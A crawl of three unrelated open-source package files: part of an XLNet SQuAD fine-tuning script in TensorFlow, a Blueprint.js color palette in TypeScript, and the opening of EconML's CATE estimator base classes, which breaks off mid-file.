name_to_features = {
"unique_ids": tf.FixedLenFeature([], tf.int64),
"input_ids": tf.FixedLenFeature([seq_length], tf.int64),
"input_mask": tf.FixedLenFeature([seq_length], tf.float32),
"segment_ids": tf.FixedLenFeature([seq_length], tf.int64),
"cls_index": tf.FixedLenFeature([], tf.int64),
"p_mask": tf.FixedLenFeature([seq_length], tf.float32)
}
if is_training:
name_to_features["start_positions"] = tf.FixedLenFeature([], tf.int64)
name_to_features["end_positions"] = tf.FixedLenFeature([], tf.int64)
name_to_features["is_impossible"] = tf.FixedLenFeature([], tf.float32)
tf.logging.info("Input tfrecord file glob {}".format(input_glob))
global_input_paths = tf.gfile.Glob(input_glob)
tf.logging.info("Find {} input paths {}".format(
len(global_input_paths), global_input_paths))
def _decode_record(record, name_to_features):
"""Decodes a record to a TensorFlow example."""
example = tf.parse_single_example(record, name_to_features)
# tf.Example only supports tf.int64, but the TPU only supports tf.int32.
# So cast all int64 to int32.
for name in list(example.keys()):
t = example[name]
if t.dtype == tf.int64:
t = tf.cast(t, tf.int32)
example[name] = t
return example
def input_fn(params):
"""The actual input function."""
if FLAGS.use_tpu:
batch_size = params["batch_size"]
elif is_training:
batch_size = FLAGS.train_batch_size
else:
batch_size = FLAGS.predict_batch_size
# Split tfrecords across hosts
if num_hosts > 1:
host_id = params["context"].current_host
num_files = len(global_input_paths)
if num_files >= num_hosts:
num_files_per_host = (num_files + num_hosts - 1) // num_hosts
my_start_file_id = host_id * num_files_per_host
my_end_file_id = min((host_id + 1) * num_files_per_host, num_files)
input_paths = global_input_paths[my_start_file_id: my_end_file_id]
tf.logging.info("Host {} handles {} files".format(host_id,
len(input_paths)))
else:
input_paths = global_input_paths
if len(input_paths) == 1:
d = tf.data.TFRecordDataset(input_paths[0])
# For training, we want a lot of parallel reading and shuffling.
# For eval, we want no shuffling and parallel reading doesn't matter.
if is_training:
d = d.shuffle(buffer_size=FLAGS.shuffle_buffer)
d = d.repeat()
else:
d = tf.data.Dataset.from_tensor_slices(input_paths)
# file level shuffle
d = d.shuffle(len(input_paths)).repeat()
# `cycle_length` is the number of parallel files that get read.
cycle_length = min(num_threads, len(input_paths))
d = d.apply(
tf.contrib.data.parallel_interleave(
tf.data.TFRecordDataset,
sloppy=is_training,
cycle_length=cycle_length))
if is_training:
# sample level shuffle
d = d.shuffle(buffer_size=FLAGS.shuffle_buffer)
d = d.apply(
tf.contrib.data.map_and_batch(
lambda record: _decode_record(record, name_to_features),
batch_size=batch_size,
num_parallel_batches=num_threads,
drop_remainder=drop_remainder))
d = d.prefetch(1024)
return d
return input_fn
def get_model_fn():
def model_fn(features, labels, mode, params):
#### Training or Evaluation
is_training = (mode == tf.estimator.ModeKeys.TRAIN)
#### Get loss from inputs
outputs = function_builder.get_qa_outputs(FLAGS, features, is_training)
#### Check model parameters
num_params = sum([np.prod(v.shape) for v in tf.trainable_variables()])
tf.logging.info('#params: {}'.format(num_params))
scaffold_fn = None
#### Evaluation mode
if mode == tf.estimator.ModeKeys.PREDICT:
if FLAGS.init_checkpoint:
tf.logging.info("init_checkpoint not being used in predict mode.")
predictions = {
"unique_ids": features["unique_ids"],
"start_top_index": outputs["start_top_index"],
"start_top_log_probs": outputs["start_top_log_probs"],
"end_top_index": outputs["end_top_index"],
"end_top_log_probs": outputs["end_top_log_probs"],
"cls_logits": outputs["cls_logits"]
}
if FLAGS.use_tpu:
output_spec = tf.contrib.tpu.TPUEstimatorSpec(
mode=mode, predictions=predictions, scaffold_fn=scaffold_fn)
else:
output_spec = tf.estimator.EstimatorSpec(
mode=mode, predictions=predictions)
return output_spec
### Compute loss
seq_length = tf.shape(features["input_ids"])[1]
def compute_loss(log_probs, positions):
one_hot_positions = tf.one_hot(
positions, depth=seq_length, dtype=tf.float32)
loss = - tf.reduce_sum(one_hot_positions * log_probs, axis=-1)
loss = tf.reduce_mean(loss)
return loss
start_loss = compute_loss(
outputs["start_log_probs"], features["start_positions"])
end_loss = compute_loss(
outputs["end_log_probs"], features["end_positions"])
total_loss = (start_loss + end_loss) * 0.5
cls_logits = outputs["cls_logits"]
is_impossible = tf.reshape(features["is_impossible"], [-1])
regression_loss = tf.nn.sigmoid_cross_entropy_with_logits(
labels=is_impossible, logits=cls_logits)
regression_loss = tf.reduce_mean(regression_loss)
# note(zhiliny): by default multiply the loss by 0.5 so that the scale is
# comparable to start_loss and end_loss
total_loss += regression_loss * 0.5
#### Configuring the optimizer
train_op, learning_rate, _ = model_utils.get_train_op(FLAGS, total_loss)
monitor_dict = {}
monitor_dict["lr"] = learning_rate
#### load pretrained text
scaffold_fn = model_utils.init_from_checkpoint(FLAGS)
#### Constucting training TPUEstimatorSpec with new cache.
if FLAGS.use_tpu:
host_call = function_builder.construct_scalar_host_call(
monitor_dict=monitor_dict,
model_dir=FLAGS.model_dir,
prefix="train/",
reduce_fn=tf.reduce_mean)
train_spec = tf.contrib.tpu.TPUEstimatorSpec(
mode=mode, loss=total_loss, train_op=train_op, host_call=host_call,
scaffold_fn=scaffold_fn)
else:
train_spec = tf.estimator.EstimatorSpec(
mode=mode, loss=total_loss, train_op=train_op)
return train_spec
return model_fn
def _get_spm_basename():
spm_basename = os.path.basename(FLAGS.spiece_model_file)
return spm_basename
def preprocess():
sp_model = spm.SentencePieceProcessor()
sp_model.Load(FLAGS.spiece_model_file)
spm_basename = _get_spm_basename()
train_rec_file = os.path.join(
FLAGS.output_dir,
"{}.{}.slen-{}.qlen-{}.train.tf_record".format(
spm_basename, FLAGS.proc_id, FLAGS.max_seq_length,
FLAGS.max_query_length))
tf.logging.info("Read examples from {}".format(FLAGS.train_file))
train_examples = read_squad_examples(FLAGS.train_file, is_training=True)
train_examples = train_examples[FLAGS.proc_id::FLAGS.num_proc]
# Pre-shuffle the input to avoid having to make a very large shuffle
# buffer in the `input_fn`.
random.shuffle(train_examples)
tf.logging.info("Write to {}".format(train_rec_file))
train_writer = FeatureWriter(
filename=train_rec_file,
is_training=True)
convert_examples_to_features(
examples=train_examples,
sp_model=sp_model,
max_seq_length=FLAGS.max_seq_length,
doc_stride=FLAGS.doc_stride,
max_query_length=FLAGS.max_query_length,
is_training=True,
output_fn=train_writer.process_feature)
train_writer.close()
def main(_):
tf.logging.set_verbosity(tf.logging.INFO)
if not tf.gfile.Exists(FLAGS.output_dir):
tf.gfile.MakeDirs(FLAGS.output_dir)
if FLAGS.do_prepro:
preprocess()
return
#### Validate flags
if FLAGS.save_steps is not None:
FLAGS.iterations = min(FLAGS.iterations, FLAGS.save_steps)
if not FLAGS.do_train and not FLAGS.do_predict:
raise ValueError(
"At least one of `do_train` and `do_predict` must be True.")
if FLAGS.do_predict and not tf.gfile.Exists(FLAGS.predict_dir):
tf.gfile.MakeDirs(FLAGS.predict_dir)
sp_model = spm.SentencePieceProcessor()
sp_model.Load(FLAGS.spiece_model_file)
### TPU Configuration
run_config = model_utils.configure_tpu(FLAGS)
model_fn = get_model_fn()
spm_basename = _get_spm_basename()
# If TPU is not available, this will fall back to normal Estimator on CPU
# or GPU.
if FLAGS.use_tpu:
estimator = tf.contrib.tpu.TPUEstimator(
use_tpu=FLAGS.use_tpu,
model_fn=model_fn,
config=run_config,
train_batch_size=FLAGS.train_batch_size,
predict_batch_size=FLAGS.predict_batch_size)
else:
estimator = tf.estimator.Estimator(
model_fn=model_fn,
config=run_config)
if FLAGS.do_train:
train_rec_glob = os.path.join(
FLAGS.output_dir,
"{}.*.slen-{}.qlen-{}.train.tf_record".format(
spm_basename, FLAGS.max_seq_length,
FLAGS.max_query_length))
train_input_fn = input_fn_builder(
input_glob=train_rec_glob,
seq_length=FLAGS.max_seq_length,
is_training=True,
drop_remainder=True,
num_hosts=FLAGS.num_hosts)
estimator.train(input_fn=train_input_fn, max_steps=FLAGS.train_steps)
if FLAGS.do_predict:
eval_examples = read_squad_examples(FLAGS.predict_file, is_training=False)
with tf.gfile.Open(FLAGS.predict_file) as f:
orig_data = json.load(f)["data"]
eval_rec_file = os.path.join(
FLAGS.output_dir,
"{}.slen-{}.qlen-{}.eval.tf_record".format(
spm_basename, FLAGS.max_seq_length, FLAGS.max_query_length))
eval_feature_file = os.path.join(
FLAGS.output_dir,
"{}.slen-{}.qlen-{}.eval.features.pkl".format(
spm_basename, FLAGS.max_seq_length, FLAGS.max_query_length))
if tf.gfile.Exists(eval_rec_file) and tf.gfile.Exists(
eval_feature_file) and not FLAGS.overwrite_data:
tf.logging.info("Loading eval features from {}".format(eval_feature_file))
with tf.gfile.Open(eval_feature_file, 'rb') as fin:
eval_features = pickle.load(fin)
else:
eval_writer = FeatureWriter(filename=eval_rec_file, is_training=False)
eval_features = []
def append_feature(feature):
eval_features.append(feature)
eval_writer.process_feature(feature)
convert_examples_to_features(
examples=eval_examples,
sp_model=sp_model,
max_seq_length=FLAGS.max_seq_length,
doc_stride=FLAGS.doc_stride,
max_query_length=FLAGS.max_query_length,
is_training=False,
output_fn=append_feature)
eval_writer.close()
with tf.gfile.Open(eval_feature_file, 'wb') as fout:
pickle.dump(eval_features, fout)
eval_input_fn = input_fn_builder(
input_glob=eval_rec_file,
seq_length=FLAGS.max_seq_length,
is_training=False,
drop_remainder=False,
num_hosts=1)
cur_results = []
for result in estimator.predict(
input_fn=eval_input_fn,
yield_single_examples=True):
if len(cur_results) % 1000 == 0:
tf.logging.info("Processing example: %d" % (len(cur_results)))
unique_id = int(result["unique_ids"])
start_top_log_probs = (
[float(x) for x in result["start_top_log_probs"].flat])
start_top_index = [int(x) for x in result["start_top_index"].flat]
end_top_log_probs = (
[float(x) for x in result["end_top_log_probs"].flat])
end_top_index = [int(x) for x in result["end_top_index"].flat]
cls_logits = float(result["cls_logits"].flat[0])
cur_results.append(
RawResult(
unique_id=unique_id,
start_top_log_probs=start_top_log_probs,
start_top_index=start_top_index,
end_top_log_probs=end_top_log_probs,
end_top_index=end_top_index,
cls_logits=cls_logits))
output_prediction_file = os.path.join(
FLAGS.predict_dir, "predictions.json")
output_nbest_file = os.path.join(
FLAGS.predict_dir, "nbest_predictions.json")
output_null_log_odds_file = os.path.join(
FLAGS.predict_dir, "null_odds.json")
ret = write_predictions(eval_examples, eval_features, cur_results,
FLAGS.n_best_size, FLAGS.max_answer_length,
output_prediction_file,
output_nbest_file,
output_null_log_odds_file,
orig_data)
# Log current result
tf.logging.info("=" * 80)
log_str = "Result | "
for key, val in ret.items():
log_str += "{} {} | ".format(key, val)
tf.logging.info(log_str)
tf.logging.info("=" * 80)
if __name__ == "__main__":
tf.app.run()
|
PypiClean
|
/jupyterhub_url_sharing-0.1.0.tar.gz/jupyterhub_url_sharing-0.1.0/node_modules/@blueprintjs/colors/src/colors.ts
|
const grayScale = {
BLACK: "#111418",
DARK_GRAY1: "#1C2127",
DARK_GRAY2: "#252A31",
DARK_GRAY3: "#2F343C",
DARK_GRAY4: "#383E47",
DARK_GRAY5: "#404854",
GRAY1: "#5F6B7C",
GRAY2: "#738091",
GRAY3: "#8F99A8",
GRAY4: "#ABB3BF",
GRAY5: "#C5CBD3",
LIGHT_GRAY1: "#D3D8DE",
LIGHT_GRAY2: "#DCE0E5",
LIGHT_GRAY3: "#E5E8EB",
LIGHT_GRAY4: "#EDEFF2",
LIGHT_GRAY5: "#F6F7F9",
WHITE: "#FFFFFF",
};
const coreColors = {
BLUE1: "#184A90",
BLUE2: "#215DB0",
BLUE3: "#2D72D2",
BLUE4: "#4C90F0",
BLUE5: "#8ABBFF",
GREEN1: "#165A36",
GREEN2: "#1C6E42",
GREEN3: "#238551",
GREEN4: "#32A467",
GREEN5: "#72CA9B",
ORANGE1: "#77450D",
ORANGE2: "#935610",
ORANGE3: "#C87619",
ORANGE4: "#EC9A3C",
ORANGE5: "#FBB360",
RED1: "#8E292C",
RED2: "#AC2F33",
RED3: "#CD4246",
RED4: "#E76A6E",
RED5: "#FA999C",
};
const extendedColors = {
CERULEAN1: "#0C5174",
CERULEAN2: "#0F6894",
CERULEAN3: "#147EB3",
CERULEAN4: "#3FA6DA",
CERULEAN5: "#68C1EE",
FOREST1: "#1D7324",
FOREST2: "#238C2C",
FOREST3: "#29A634",
FOREST4: "#43BF4D",
FOREST5: "#62D96B",
GOLD1: "#5C4405",
GOLD2: "#866103",
GOLD3: "#D1980B",
GOLD4: "#F0B726",
GOLD5: "#FBD065",
INDIGO1: "#5642A6",
INDIGO2: "#634DBF",
INDIGO3: "#7961DB",
INDIGO4: "#9881F3",
INDIGO5: "#BDADFF",
LIME1: "#43501B",
LIME2: "#5A701A",
LIME3: "#8EB125",
LIME4: "#B6D94C",
LIME5: "#D4F17E",
ROSE1: "#A82255",
ROSE2: "#C22762",
ROSE3: "#DB2C6F",
ROSE4: "#F5498B",
ROSE5: "#FF66A1",
SEPIA1: "#5E4123",
SEPIA2: "#7A542E",
SEPIA3: "#946638",
SEPIA4: "#AF855A",
SEPIA5: "#D0B090",
TURQUOISE1: "#004D46",
TURQUOISE2: "#007067",
TURQUOISE3: "#00A396",
TURQUOISE4: "#13C9BA",
TURQUOISE5: "#7AE1D8",
VERMILION1: "#96290D",
VERMILION2: "#B83211",
VERMILION3: "#D33D17",
VERMILION4: "#EB6847",
VERMILION5: "#FF9980",
VIOLET1: "#5C255C",
VIOLET2: "#7C327C",
VIOLET3: "#9D3F9D",
VIOLET4: "#BD6BBD",
VIOLET5: "#D69FD6",
};
/* eslint-disable deprecation/deprecation */
/**
* Blueprint v3.x legacy color names, provided as aliases for their new names in v4.x.
* These symbols allow references to the "cobalt" identifiers (not color hex values)
* to continue working with the new color palette. They will be removed in v5.0.
*/
const legacyColors = {
/** @deprecated use CERULEAN1 */
COBALT1: extendedColors.CERULEAN1,
/** @deprecated use CERULEAN2 */
COBALT2: extendedColors.CERULEAN2,
/** @deprecated use CERULEAN3 */
COBALT3: extendedColors.CERULEAN3,
/** @deprecated use CERULEAN4 */
COBALT4: extendedColors.CERULEAN4,
/** @deprecated use CERULEAN5 */
COBALT5: extendedColors.CERULEAN5,
};
/* eslint-enable deprecation/deprecation */
export const Colors = {
...grayScale,
...coreColors,
...extendedColors,
...legacyColors,
};
|
PypiClean
|
/GuangTestBeat-0.13.1-cp38-cp38-macosx_10_9_x86_64.whl/econml/_cate_estimator.py
|
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License.
"""Base classes for all CATE estimators."""
import abc
import numpy as np
from functools import wraps
from copy import deepcopy
from warnings import warn
from .inference import BootstrapInference
from .utilities import (tensordot, ndim, reshape, shape, parse_final_model_params,
inverse_onehot, Summary, get_input_columns, check_input_arrays)
from .inference import StatsModelsInference, StatsModelsInferenceDiscrete, LinearModelFinalInference,\
LinearModelFinalInferenceDiscrete, NormalInferenceResults, GenericSingleTreatmentModelFinalInference,\
GenericModelFinalInferenceDiscrete
from ._shap import _shap_explain_cme, _shap_explain_joint_linear_model_cate
from .dowhy import DoWhyWrapper
class BaseCateEstimator(metaclass=abc.ABCMeta):
"""Base class for all CATE estimators in this package."""
def _get_inference_options(self):
"""
Produce a dictionary mapping string names to :class:`.Inference` types.
This is used by the :meth:`fit` method when a string is passed rather than an :class:`.Inference` type.
"""
return {'bootstrap': BootstrapInference}
def _get_inference(self, inference):
options = self._get_inference_options()
if isinstance(inference, str):
if inference in options:
inference = options[inference]()
else:
raise ValueError("Inference option '%s' not recognized; valid values are %s" %
(inference, [*options]))
# since inference objects can be stateful, we must copy it before fitting;
# otherwise this sequence wouldn't work:
# est1.fit(..., inference=inf)
# est2.fit(..., inference=inf)
# est1.effect_interval(...)
# because inf now stores state from fitting est2
return deepcopy(inference)
def _set_input_names(self, Y, T, X, set_flag=False):
"""Set input column names if inputs have column metadata."""
self._input_names = {
"feature_names": get_input_columns(X, prefix="X"),
"output_names": get_input_columns(Y, prefix="Y"),
"treatment_names": get_input_columns(T, prefix="T")
}
if set_flag:
# This flag is true when names are set in a child class instead
# If names are set in a child class, add an attribute reflecting that
self._input_names_set = True
def _strata(self, Y, T, *args, **kwargs):
"""
Get an array of values representing strata that should be preserved by bootstrapping. For example,
if treatment is discrete, then each bootstrapped estimator needs to be given at least one instance
with each treatment type. For estimators like DRIV, then the same is true of the combination of
treatment and instrument. The arguments to this method will match those to fit.
Returns
-------
strata : array or None
A vector with the same number of rows as the inputs, where the unique values represent
the strata that need to be preserved by bootstrapping, or None if no preservation is necessary.
"""
return None
def _prefit(self, Y, T, *args, **kwargs):
self._d_y = np.shape(Y)[1:]
self._d_t = np.shape(T)[1:]
# This works only if X is passed as a kwarg
# We plan to enforce X as kwarg only in future releases
if not hasattr(self, "_input_names_set") or not self._input_names_set:
# This checks if names have been set in a child class
# If names were set in a child class, don't do it again
X = kwargs.get('X')
self._set_input_names(Y, T, X)
def _postfit(self, Y, T, *args, **kwargs):
# Wraps-up fit by setting attributes, cleaning up, etc.
pass
@abc.abstractmethod
def fit(self, *args, inference=None, **kwargs):
"""
Estimate the counterfactual model from data, i.e. estimates functions
:math:`\\tau(X, T0, T1)`, :math:`\\partial \\tau(T, X)`.
Note that the signature of this method may vary in subclasses (e.g. classes that don't
support instruments will not allow a `Z` argument)
Parameters
----------
Y: (n, d_y) matrix or vector of length n
Outcomes for each sample
T: (n, d_t) matrix or vector of length n
Treatments for each sample
X: optional (n, d_x) matrix
Features for each sample
W: optional (n, d_w) matrix
Controls for each sample
Z: optional (n, d_z) matrix
Instruments for each sample
inference: optional string, :class:`.Inference` instance, or None
Method for performing inference. All estimators support ``'bootstrap'``
(or an instance of :class:`.BootstrapInference`), some support other methods as well.
Returns
-------
self
"""
pass
def _wrap_fit(m):
@wraps(m)
def call(self, Y, T, *args, inference=None, **kwargs):
inference = self._get_inference(inference)
self._prefit(Y, T, *args, **kwargs)
if inference is not None:
inference.prefit(self, Y, T, *args, **kwargs)
# call the wrapped fit method
m(self, Y, T, *args, **kwargs)
self._postfit(Y, T, *args, **kwargs)
if inference is not None:
# NOTE: we call inference fit *after* calling the main fit method
inference.fit(self, Y, T, *args, **kwargs)
self._inference = inference
return self
return call
@abc.abstractmethod
def effect(self, X=None, *, T0, T1):
"""
Calculate the heterogeneous treatment effect :math:`\\tau(X, T0, T1)`.
The effect is calculated between the two treatment points
conditional on a vector of features on a set of m test samples :math:`\\{T0_i, T1_i, X_i\\}`.
Parameters
----------
T0: (m, d_t) matrix or vector of length m
Base treatments for each sample
T1: (m, d_t) matrix or vector of length m
Target treatments for each sample
X: optional (m, d_x) matrix
Features for each sample
Returns
-------
τ: (m, d_y) matrix
Heterogeneous treatment effects on each outcome for each sample
Note that when Y is a vector rather than a 2-dimensional array, the corresponding
singleton dimension will be collapsed (so this method will return a vector)
"""
pass
@abc.abstractmethod
def marginal_effect(self, T, X=None):
"""
Calculate the heterogeneous marginal effect :math:`\\partial\\tau(T, X)`.
The marginal effect is calculated around a base treatment
point conditional on a vector of features on a set of m test samples :math:`\\{T_i, X_i\\}`.
Parameters
----------
T: (m, d_t) matrix
Base treatments for each sample
X: optional (m, d_x) matrix
Features for each sample
Returns
-------
grad_tau: (m, d_y, d_t) array
Heterogeneous marginal effects on each outcome for each sample
Note that when Y or T is a vector rather than a 2-dimensional array,
the corresponding singleton dimensions in the output will be collapsed
(e.g. if both are vectors, then the output of this method will also be a vector)
"""
pass
def ate(self, X=None, *, T0, T1):
"""
Calculate the average treatment effect :math:`E_X[\\tau(X, T0, T1)]`.
The effect is calculated between the two treatment points and is averaged over
the population of X variables.
Parameters
----------
T0: (m, d_t) matrix or vector of length m
Base treatments for each sample
T1: (m, d_t) matrix or vector of length m
Target treatments for each sample
X: optional (m, d_x) matrix
Features for each sample
Returns
-------
τ: float or (d_y,) array
Average treatment effects on each outcome
Note that when Y is a vector rather than a 2-dimensional array, the result will be a scalar
"""
return np.mean(self.effect(X=X, T0=T0, T1=T1), axis=0)
def cate_feature_names(self, feature_names=None):
"""Public interface for getting feature names.
To be overriden by estimators that apply transformations the input features.
Parameters
----------
feature_names: list of strings of length X.shape[1] or None
The names of the input features. If None and X is a dataframe, it defaults to the column names
from the dataframe.
Returns
-------
out_feature_names: list of strings or None
Returns feature names.
"""
if feature_names is not None:
return feature_names
if hasattr(self, "_input_names"):
return self._input_names["feature_names"]
return None
def cate_output_names(self, output_names=None):
"""
Public interface for getting output names.
To be overriden by estimators that apply transformations the outputs.
Parameters
----------
output_names: list of strings of length Y.shape[1] or None
The names of the outcomes. If None and the Y passed to fit was a dataframe,
it defaults to the column names from the dataframe.
Returns
-------
output_names: list of strings
Returns output names.
"""
if output_names is not None:
return output_names
if hasattr(self, "_input_names"):
return self._input_names["output_names"]
return None
def cate_treatment_names(self, treatment_names=None):
"""
Public interface for getting treatment names.
To be overriden by estimators that apply transformations the treatments.
Parameters
----------
treatment_names: list of strings of length T.shape[1] or None
The names of the treatments. If None and the T passed to fit was a dataframe,
it defaults to the column names from the dataframe.
Returns
-------
treatment_names: list of strings
Returns treatment names.
"""
if treatment_names is not None:
return treatment_names
if hasattr(self, "_input_names"):
return self._input_names["treatment_names"]
return None
def marginal_ate(self, T, X=None):
"""
Calculate the average marginal effect :math:`E_{T, X}[\\partial\\tau(T, X)]`.
The marginal effect is calculated around a base treatment
point and averaged over the population of X.
Parameters
----------
T: (m, d_t) matrix
Base treatments for each sample
X: optional (m, d_x) matrix
Features for each sample
Returns
-------
grad_tau: (d_y, d_t) array
Average marginal effects on each outcome
Note that when Y or T is a vector rather than a 2-dimensional array,
the corresponding singleton dimensions in the output will be collapsed
(e.g. if both are vectors, then the output of this method will be a scalar)
"""
return np.mean(self.marginal_effect(T, X=X), axis=0)
def _expand_treatments(self, X=None, *Ts):
"""
Given a set of features and treatments, return possibly modified features and treatments.
Parameters
----------
X: optional (m, d_x) matrix
Features for each sample, or None
Ts: sequence of (m, d_t) matrices
Base treatments for each sample
Returns
-------
output : tuple (X',T0',T1',...)
"""
return (X,) + Ts
def _defer_to_inference(m):
@wraps(m)
def call(self, *args, **kwargs):
name = m.__name__
if self._inference is not None:
return getattr(self._inference, name)(*args, **kwargs)
else:
raise AttributeError("Can't call '%s' because 'inference' is None" % name)
return call
@_defer_to_inference
def effect_interval(self, X=None, *, T0=0, T1=1, alpha=0.05):
""" Confidence intervals for the quantities :math:`\\tau(X, T0, T1)` produced
by the model. Available only when ``inference`` is not ``None``, when
calling the fit method.
Parameters
----------
X: optional (m, d_x) matrix
Features for each sample
T0: optional (m, d_t) matrix or vector of length m (Default=0)
Base treatments for each sample
T1: optional (m, d_t) matrix or vector of length m (Default=1)
Target treatments for each sample
alpha: optional float in [0, 1] (Default=0.05)
The overall level of confidence of the reported interval.
The alpha/2, 1-alpha/2 confidence interval is reported.
Returns
-------
lower, upper : tuple(type of :meth:`effect(X, T0, T1)<effect>`, type of :meth:`effect(X, T0, T1))<effect>` )
The lower and the upper bounds of the confidence interval for each quantity.
"""
pass
@_defer_to_inference
def effect_inference(self, X=None, *, T0=0, T1=1):
""" Inference results for the quantities :math:`\\tau(X, T0, T1)` produced
by the model. Available only when ``inference`` is not ``None``, when
calling the fit method.
Parameters
----------
X: optional (m, d_x) matrix
Features for each sample
T0: optional (m, d_t) matrix or vector of length m (Default=0)
Base treatments for each sample
T1: optional (m, d_t) matrix or vector of length m (Default=1)
Target treatments for each sample
Returns
-------
InferenceResults: object
The inference results instance contains prediction and prediction standard error and
can on demand calculate confidence interval, z statistic and p value. It can also output
a dataframe summary of these inference results.
"""
pass
@_defer_to_inference
def marginal_effect_interval(self, T, X=None, *, alpha=0.05):
""" Confidence intervals for the quantities :math:`\\partial \\tau(T, X)` produced
by the model. Available only when ``inference`` is not ``None``, when
calling the fit method.
Parameters
----------
T: (m, d_t) matrix
Base treatments for each sample
X: optional (m, d_x) matrix or None (Default=None)
Features for each sample
alpha: optional float in [0, 1] (Default=0.05)
The overall level of confidence of the reported interval.
The alpha/2, 1-alpha/2 confidence interval is reported.
Returns
-------
lower, upper : tuple(type of :meth:`marginal_effect(T, X)<marginal_effect>`, \
type of :meth:`marginal_effect(T, X)<marginal_effect>` )
The lower and the upper bounds of the confidence interval for each quantity.
"""
pass
@_defer_to_inference
def marginal_effect_inference(self, T, X=None):
""" Inference results for the quantities :math:`\\partial \\tau(T, X)` produced
by the model. Available only when ``inference`` is not ``None``, when
calling the fit method.
Parameters
----------
T: (m, d_t) matrix
Base treatments for each sample
X: optional (m, d_x) matrix or None (Default=None)
Features for each sample
Returns
-------
InferenceResults: object
The inference results instance contains prediction and prediction standard error and
can on demand calculate confidence interval, z statistic and p value. It can also output
a dataframe summary of these inference results.
"""
pass
@_defer_to_inference
def ate_interval(self, X=None, *, T0, T1, alpha=0.05):
""" Confidence intervals for the quantity :math:`E_X[\\tau(X, T0, T1)]` produced
by the model. Available only when ``inference`` is not ``None``, when
calling the fit method.
Parameters
----------
X: optional (m, d_x) matrix
Features for each sample
T0: optional (m, d_t) matrix or vector of length m (Default=0)
Base treatments for each sample
T1: optional (m, d_t) matrix or vector of length m (Default=1)
Target treatments for each sample
alpha: optional float in [0, 1] (Default=0.05)
The overall level of confidence of the reported interval.
The alpha/2, 1-alpha/2 confidence interval is reported.
Returns
-------
lower, upper : tuple(type of :meth:`ate(X, T0, T1)<ate>`, type of :meth:`ate(X, T0, T1))<ate>` )
The lower and the upper bounds of the confidence interval for each quantity.
"""
pass
@_defer_to_inference
def ate_inference(self, X=None, *, T0, T1):
""" Inference results for the quantity :math:`E_X[\\tau(X, T0, T1)]` produced
by the model. Available only when ``inference`` is not ``None``, when
calling the fit method.
Parameters
----------
X: optional (m, d_x) matrix
Features for each sample
T0: optional (m, d_t) matrix or vector of length m (Default=0)
Base treatments for each sample
T1: optional (m, d_t) matrix or vector of length m (Default=1)
Target treatments for each sample
Returns
-------
PopulationSummaryResults: object
The inference results instance contains prediction and prediction standard error and
can on demand calculate confidence interval, z statistic and p value. It can also output
a dataframe summary of these inference results.
"""
pass
@_defer_to_inference
def marginal_ate_interval(self, T, X=None, *, alpha=0.05):
""" Confidence intervals for the quantities :math:`E_{T,X}[\\partial \\tau(T, X)]` produced
by the model. Available only when ``inference`` is not ``None``, when
calling the fit method.
Parameters
----------
T: (m, d_t) matrix
Base treatments for each sample
X: optional (m, d_x) matrix or None (Default=None)
Features for each sample
alpha: optional float in [0, 1] (Default=0.05)
The overall level of confidence of the reported interval.
The alpha/2, 1-alpha/2 confidence interval is reported.
Returns
-------
lower, upper : tuple(type of :meth:`marginal_ate(T, X)<marginal_ate>`, \
type of :meth:`marginal_ate(T, X)<marginal_ate>` )
The lower and the upper bounds of the confidence interval for each quantity.
"""
pass
@_defer_to_inference
def marginal_ate_inference(self, T, X=None):
""" Inference results for the quantities :math:`E_{T,X}[\\partial \\tau(T, X)]` produced
by the model. Available only when ``inference`` is not ``None``, when
calling the fit method.
Parameters
----------
T: (m, d_t) matrix
Base treatments for each sample
X: optional (m, d_x) matrix or None (Default=None)
Features for each sample
Returns
-------
PopulationSummaryResults: object
The inference results instance contains prediction and prediction standard error and
can on demand calculate confidence interval, z statistic and p value. It can also output
a dataframe summary of these inference results.
"""
pass
@property
def dowhy(self):
""" Get an instance of :class:`.DoWhyWrapper` to allow other functionalities from dowhy package.
(e.g. causal graph, refutation test, etc.)
Returns
-------
DoWhyWrapper: instance
An instance of :class:`.DoWhyWrapper`
"""
return DoWhyWrapper(self)
class LinearCateEstimator(BaseCateEstimator):
"""Base class for all CATE estimators with linear treatment effects in this package."""
@abc.abstractmethod
def const_marginal_effect(self, X=None):
"""
Calculate the constant marginal CATE :math:`\\theta(·)`.
The marginal effect is conditional on a vector of
features on a set of m test samples X[i].
Parameters
----------
X: optional (m, d_x) matrix or None (Default=None)
Features for each sample.
Returns
-------
theta: (m, d_y, d_t) matrix or (d_y, d_t) matrix if X is None
Constant marginal CATE of each treatment on each outcome for each sample X[i].
Note that when Y or T is a vector rather than a 2-dimensional array,
the corresponding singleton dimensions in the output will be collapsed
(e.g. if both are vectors, then the output of this method will also be a vector)
"""
pass
def effect(self, X=None, *, T0, T1):
"""
Calculate the heterogeneous treatment effect :math:`\\tau(X, T0, T1)`.
The effect is calculated between the two treatment points
conditional on a vector of features on a set of m test samples :math:`\\{T0_i, T1_i, X_i\\}`.
Since this class assumes a linear effect, only the difference between T0ᵢ and T1ᵢ
matters for this computation.
Parameters
----------
T0: (m, d_t) matrix
Base treatments for each sample
T1: (m, d_t) matrix
Target treatments for each sample
X: optional (m, d_x) matrix
Features for each sample
Returns
-------
effect: (m, d_y) matrix (or length m vector if Y was a vector)
Heterogeneous treatment effects on each outcome for each sample.
Note that when Y is a vector rather than a 2-dimensional array, the corresponding
singleton dimension will be collapsed (so this method will return a vector)
"""
X, T0, T1 = self._expand_treatments(X, T0, T1)
# TODO: what if input is sparse? - there's no equivalent to einsum,
# but tensordot can't be applied to this problem because we don't sum over m
eff = self.const_marginal_effect(X)
# if X is None then the shape of const_marginal_effect will be wrong because the number
# of rows of T was not taken into account
if X is None:
eff = np.repeat(eff, shape(T0)[0], axis=0)
m = shape(eff)[0]
dT = T1 - T0
einsum_str = 'myt,mt->my'
if ndim(dT) == 1:
einsum_str = einsum_str.replace('t', '')
if ndim(eff) == ndim(dT): # y is a vector, rather than a 2D array
einsum_str = einsum_str.replace('y', '')
return np.einsum(einsum_str, eff, dT)
def marginal_effect(self, T, X=None):
"""
Calculate the heterogeneous marginal effect :math:`\\partial\\tau(T, X)`.
The marginal effect is calculated around a base treatment
point conditional on a vector of features on a set of m test samples :math:`\\{T_i, X_i\\}`.
Since this class assumes a linear model, the base treatment is ignored in this calculation.
Parameters
----------
T: (m, d_t) matrix
Base treatments for each sample
X: optional (m, d_x) matrix
Features for each sample
Returns
-------
grad_tau: (m, d_y, d_t) array
Heterogeneous marginal effects on each outcome for each sample
